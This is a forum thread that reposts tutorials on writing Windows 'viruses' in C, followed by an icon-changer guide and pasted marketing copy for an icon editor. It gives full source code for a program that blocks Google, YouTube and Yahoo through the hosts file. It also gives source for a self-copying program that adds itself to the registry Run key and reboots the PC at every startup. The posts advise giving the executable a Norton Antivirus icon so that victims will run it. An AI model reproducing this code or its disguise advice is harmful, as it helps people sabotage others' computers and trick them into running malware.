A Virus Program to Block Websites

Herbalist Dr MziziMkavu

JF-Expert Member
Feb 3, 2009
42,316
33,125
A Virus Program to Block Websites


firefox-blocked.jpg


Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.This virus has been

exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is

not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post

How to Block a Website ?

Here is the sourcecode of the virus.
#include<stdio.h>
#include<dos.h>
#include<dir.h>char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1&#8243;;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}


How to Compile ?For step-by-step compilation guide, refer my post How to compile C Programs.Testing1. To test, run the compiled module. It will block the sites that is listed in the source code.2. Once you run the file block_Site.exe, restart your

browser program. Then, type the URL of the blocked site and you’ll see the browser showing error

“Page cannot displayed“.3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1google.com​
5. Delete all such entries which contain the names of blocked sites.
 
A Virus Program to Disable USB Ports


block_usb.jpg
In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic

knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any

other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).4. To test this virus, just run the block_usb.exe

file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
 
How to Change the ICON of an EXE file


changing-icon1-150x150.jpg


Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to

the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it

show’s a new icon.For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.I’ll give you a step-by-step instruction on how to use

this tool to change the icon.1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).2. Right-click on the exe file whose ICON is to be changed.3. Now you will see the option

Change Icon
. Click on that option.4. Now the Icon Changer program will open up.5. Icon changer will search for all the ICONS on your system so that you can select any one of those.6. Now select the ICON of your choice and click on SET.7. Now a popup window will appear and ask you to select from either of these two options.
  • Change embeded icon.
  • Adjust Windows to display custom icon.
Select the first option (Change embeded icon).8. You are done. The ICON get’s changed.
 
A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is

loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect's this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it's too easy to understand the logic behind the coding.Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb"); //to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0&#8243;); //if the system is already infected then just give a command to restart
}


 
How to Change the ICON of an EXE file


changing-icon1-150x150.jpg


Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to

the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it

show’s a new icon.For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.I’ll give you a step-by-step instruction on how to use

this tool to change the icon.1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).2. Right-click on the exe file whose ICON is to be changed.3. Now you will see the option

Change Icon
. Click on that option.4. Now the Icon Changer program will open up.5. Icon changer will search for all the ICONS on your system so that you can select any one of those.6. Now select the ICON of your choice and click on SET.7. Now a popup window will appear and ask you to select from either of these two options.
  • Change embeded icon.
  • Adjust Windows to display custom icon.
Select the first option (Change embeded icon).8. You are done. The ICON get’s changed.

nimeipenda xana hii ya kuchange .exe icon .Asante sana kwa ku2pa ujuzi kaka.Well done
 
Hv kuna software ya ku create icon zako mwenyewe. Mfano kuifanya picha yangu kuwa kama icon ya software flani??
 
Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C3. For step-by-step compilation guide, refer my post .How to compile C Programs

Testing And Removing The Virus From Your PC


You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.

It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System
(X can be C,D,E or F)3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System3. If not it will just place a copy of itself into

X:\Windows\System
and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.This process is repeated every time the PC is restarted.

NOTE:
The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so

that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
 
Make Icons using a Professional Authoring Tool

image-19.jpg
Make icons for all operating systems: Windows, MacOS, Unix

With IconWorkshop make your own icons for Windows, MacOS and Unix. Create Windows icons up to 256x256 for Windows Vista/7 and Macintosh icons up to 512x512 for Mac OS X Lion 10.7. Unix/Linux uses PNG icons. IconWorkshop creates PNG images with alpha channel in a few clicks including from existing Windows and Mac icons.
The new generation of icons uses variable transparency (alpha channel). This alpha transparency permits creating beautiful icons with smooth borders and shadows. IconWorkshop, which fully support alpha transparency, is the professional tool that you need to create such icons.
IconWorkshop has been designed with one goal in mind: "Icon Quality". The powerful editor permits creating the various image formats of an icon from an original drawing without quality loss.
image-30.png

image-31.png
Make icons for smart phones: iPhone OS, Android, Windows Phone

Recent smart phones and other media pocket devices defines new standards in application development. Their operating systems have advanced multi-touch interface that brings the user experience to a new level of ergonomics. In this environment, icons have an important role to play to let the user work intuitively.
Android, iPhone OS and Windows Phone operating systems define new standards for icons. IconWorkshop lets you create in minutes icons following the specifications of those operating systems.
Using image objects, create icons for your phone applications in a few drag & drops (see object packs: iPhone Applications and iPhone Tab Bar Icons).
image-28.jpg
Create, edit icons in Image Strips for toolbars

Axialis IconWorkshop is the only icon editor to create and edit Image Strips for toolbars. If you're a developer, don't struggle with wide bitmaps anymore! Just open them in IconWorkshop and edit each icon separately.
It can read all kinds of Image Strips in BMP and PNG. Transparency is supported in 32 BPP images through Alpha channels and in 24 BPP or less images through a fixed background color.
home-imagestrip-toolbars.jpg

Icons in image strips can be added, copied, moved and removed. You can alsocreate new image strips from ready-to-use image objects in a few drag & drops. The object pack "Lite Toolbars" permits creating sharp and crisp icons for toolbars.
• What is an Image Strip?
• How to create Icons for Toolbars using Image Strips
image-29.jpg
Create, edit Bitmap Images
Axialis IconWorkshop™ also permits creating or modifying image bitmaps. Transparency is supported in 32 BPP images using Alpha channels and in 24 BPP or less images through a fixed background color.
This feature is useful to create illustration images for applications or web sites. You can also open and convert images to different formats such as GIF and JPEG with web optimization features. Many image file formats are supported:
• Windows Bitmap Image (BMP)
• Portable Network Graphic (PNG)
• Joint Photographic Experts Group (JPEG)
• JPEG 2000 (JP2)
• Graphics Interchange Format (GIF)
• Photoshop Document (PSD)
• Radiance HDR (HDR)
• Portable Float Map Images (PFM)
• Portable Bitmaps (PNM, PBM, PPM, PGM)
• TARGA Images (TGA)
• TIFF Images (TIF, TIFF)
• Wireless Images (WBMP, WAP)
• X11 Pixmap Images (XPM)
• and more...
image-1.jpg
Work efficiently with Plug-ins for Visual Studio 2005, 2008, 2010
Axialis IconWorkshop includes a handy feature which permits to work efficiently with Visual Studio®. The principle of this plug-in, as we've made it, is to create a direct bridge between the VS IDE and IconWorkshop.
The plug-in permits to easily edit in IconWorkshop an icon included in a solution. Just open the icon in the Visual Studio® resource editor and launch the associated plug-in command. The icon is automatically opened in IconWorkshop and you can work on it as necessary. When you save it in IconWorkshop, the VS IDE automatically refreshes the icon document.
• Introducing the Visual Studio® plug-in
• Modifying an icon in a Visual Studio solution using the plug-in
image-32.png
Full support for Windows Vista/7 PNG-compressed icons
IconWorkshop™ loads, creates, edits, saves icons for Windows Vista & Windows 7. These operating systems includes a PNG-compressed icon format. It permits creating icons up to 256x256 with alpha channel with smaller file size.
Axialis IconWorkshop™ fully supports this new format in all features: edition, automatic format creation, batch creation, batch conversion, format normalization... Don't wait and create today your icons for Windows Vista™.
• Introducing Windows Vista™ icons
• How to create Windows Vista™ icons with IconWorkshop
image-15.jpg
Create attractive icons using Image Objects
The use of image objects to create icons is an exclusive feature of IconWorkshop. It permits creating professional-looking icons in minutes using a few mouse drag & drops.
The principle is quite simple: A large quantity of basic image objects are provided in a library. By associating them together (on top of each other) you create a custom icon:
image-20.jpg
The images objects, which have been made by professional designers, are provided in 256x256 high-quality PNG format. This permits you to easily create icons containing various sizes up to 256x256 for Windows® XP, Windows Vista™ and Mac OS®. Read the following articles if you want to learn more:
• What is an image object?
• How to use image objects to create icons?
image-11.jpg
Convert icons between Mac OS® and Windows®
Mac OS® designers are prolific, especially when it comes to create icons. Use IconWorkshop™ to read MacOS® icons and convert them to Windows®. It reads all kinds of Macintosh® icons up to OSX 10.4 Tiger and OSX 10.5 Leopard.
If you're a software developer, you'll enjoy the ability to create applications for both Windows® and Macintosh® platforms by converting your icons. If you're a Windows® user you'll be able to use Macintosh® icons on your Windows® XP desktop.
In addition, IconWorkshop™ includes a feature which permits to convert icons between the two systems in batch-processing mode (several icons are converted in one fast operation).
IconWorkshop™ supports the Mac Binary file format which permits to transfer icons between Macintosh® and Windows® in a snap.
image-3.jpg
Automatically create icons from images
Axialis IconWorkshop™ features a powerful editor. But sometimes it's easier to create an icon from an existing image. You can import various file formats, such as PSD, PNG, BMP, JPEG, GIF, JPEG2000...
An exclusive feature permits creating an icon with its several image formats in just one operation! All is done automatically: Alpha channel is preserved, palettes are calculated for 256 color formats and even 16 color formats with transparency are generated:
image-21.jpg
image-4.jpg
Export icons to images to illustrate your web sites
If you're a webmaster or have a blog, you know that illustrations are important to create attractive visitor experience. IconWorkshop™ permits to export images included in icons (Windows® or Macintosh®) to external bitmap files. You'll be able to easily export these images in various Web-optimized formats such as JPEG, GIF, PNG, JPEG2000 and more.
Object packs named "Web 2.0 Icons" and "Web Illustrations" permit creating illustration images for your web sites in a few seconds.
• What is an image object?
• How to create illustration icons for web sites
image-5.jpg
Use a Powerful Editor
IconWorkshop™ features an editor with advanced functions: Easily create images formats using one command, import/export images, resize, adjust with numerous filters, change hue, contrast, lightness, drop shadows and more...
Work in a fully Integrated Workspace
IconWorkshop™ features a fully integrated workspace. This is the way today's professional applications are made.
Some icon applications available on the market are made of several programs resulting in applications which are difficult to use. In IconWorkshop™, all features are immediately available on screen. This interface permits you to work efficiently and be more productive than ever. The multi-documents interface permits you to work with several and different types of document windows (icon projects, libraries, images, file explorers...).
image-23.jpg
Learn using a Comprehensive Help
We have created a professional and comprehensive help in IconWorkshop to permit you to learn all the features included in the product. Unlike other competitor tools, the help file describes more than the product features. It is amply illustrated and written in easy-to-read English. It includes following topics:
• General information on Windows and Mac OS icons, icon creation and Windows Vista™ new format (4 topics).
• Getting started lessons (14 topics).
• How-to step-by-step tutorials (35 topics).
• Full feature reference (150+ topics).
b10.gif
See the online version of IconWorkshop™ help
image-6.jpg
Compatible with graphic industry standards
You can import PSD images with layers from Photoshop® and easily create a multi-resolution icon from a program or company logo. Use Photoshop and Illustrator plug-ins to transfer images directly in memory and make your icon in a few clicks. No more temporary document files.
With 10 ready-to-use Photoshop templates, create your icons like the professional icon designers. Use the powerful drawing tools of Photoshop to create the different formats of your icons and export the whole artwork in IconWorkshop. The icon is automatically created in seconds with all its embedded formats. You can even create your own templates.
image-7.jpg
Batch Procedures
Numerous batch procedures have been implemented in IconWorkshop™ to automatically perform operations on a large number of files. For example, you can create icons from a set of PNG files (ICO files are created). You can also automatically convert several icons between Macintosh® and Windows® OS in seconds.
image-8.jpg
Librarian & Explorer with previews
Use a powerful librarian to easily manage all your media and icon files. This is an integrated window (which can be hidden) where you can store, move, copy and extract all the files you're using in your work (images, icons, libraries).
Also, A built-in file explorer permits to browse your disks and find files including images and all files containing icons. This advanced explorer permits to display files in thumbnail mode. By a simple click you open any file in a viewer or editor window
Top 5 reasons to purchase IconWorkshop


One professional tool for all your needs
IconWorkshop™ is a professional tool designed to Create, Extract, Convert, Manage and Redistribute Icons. You create professional looking icons. You work like a pro, you're seen as a pro.
Create icons for Windows, MacOS, Unix, iPhone, Android, Windows Phone
IconWorkshop is the first icon editor to create icons for all devices and all operating systems: Windows up to 256x256 for Windows Vista/7; Macintosh® OS up to 512x512 for Leopard; Unix; iPhone OS; Android; Windows Phone...
Be productive instantly
No complicated settings, no more pixel-by-pixel icon making. All has been designed to let you be productive and get professional results in minutes (using image objectsfor instance).
Access to private images objects
Some image object packs are available to registered customers only. By purchasing you get a lifetime access to these packs.
Compatible with graphic industry standards
You can convert icons between Macintosh and Windows formats in a click, create icons from PNG images with transparency, use Photoshop and Illustrator transfer plug-ins, Photoshop templates...
chanzo. Axialis IconWorkshop - Make icons for Windows, Mac, iPhone, Android, Windows Phone.
 
Back
Top Bottom